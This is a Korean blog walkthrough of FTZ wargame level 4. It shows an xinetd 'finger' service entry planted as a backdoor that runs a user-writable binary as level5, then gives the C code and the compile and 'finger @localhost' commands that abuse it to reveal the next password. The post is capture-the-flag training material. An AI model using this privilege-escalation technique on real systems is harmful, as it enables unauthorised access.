[FTZ] level4

2444 단어 pwnableFTZFTZ

이번에는 ftz 레벨4 문제를 풀어봅시다. 힌트를 보았더니 '누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!'라고 되어있네요.

참고로 백도어란 말그대로 뒷문같은 의미로 어떤 시스템에서 정상적인 인증절차를 우회하는 것입니다. 한마디로 보안적으로 안 좋다는 뜻입니다.

아무튼 해당 경로를 가봤더니 backdoor란 파일이 있습니다. 그 파일을 확인해봅시다.

service finger 

{

    disable = no

    flags = REUSE

    socket_type = stream        

    wait = no

    user = level5

    server = /home/level4/tmp/backdoor

    log_on_failure += USERID

}

이렇게 써져있습니다. finger 서비스로 이루어진 backdoor입니다.

여기서 finger란 사용자 계정 정보와 최근 로그인 정보 등을 볼 수 있는 명령어입니다.

user=level5로 되어있는 걸로 봐선 레벨5 권한이 있다는 뜻인 것 같고 server=/home/level4/tmp/backdoor를 봐서는 해당 파일을 실행하는 것 같습니다. 한마디로 level5 권한으로 해당 경로의 파일을 실행시켜준다는 뜻 같습니다.

그러니까 /home/level4/tmp 경로로 와서 보니 backdoor란 파일이 없으므로 my-pass 명령어를 입력하는 backdoor 파일을 만들어봅시다.

vi backdoor.c를 입력하고 'i'를 눌려서 편집 모드로 바꾸고

#include<stdio.h>
#include<stdlib.h>

int main() {
    system("my-pass");     
    return 0;
}

를 입력해주시고 esc를 누르시고 :wq를 입력합시다.
그 다음 gcc -o backdoor backdoor.c를 눌러 backdoor.c를 실행시켜주는 backdoor 파일을 만들어줍니다.

이젠 마지막으로

finger @localhost

를 입력해주시면 "what is your name?"이라는 레벨5의 비밀번호가 나옵니다.

좋은 웹페이지 즐겨찾기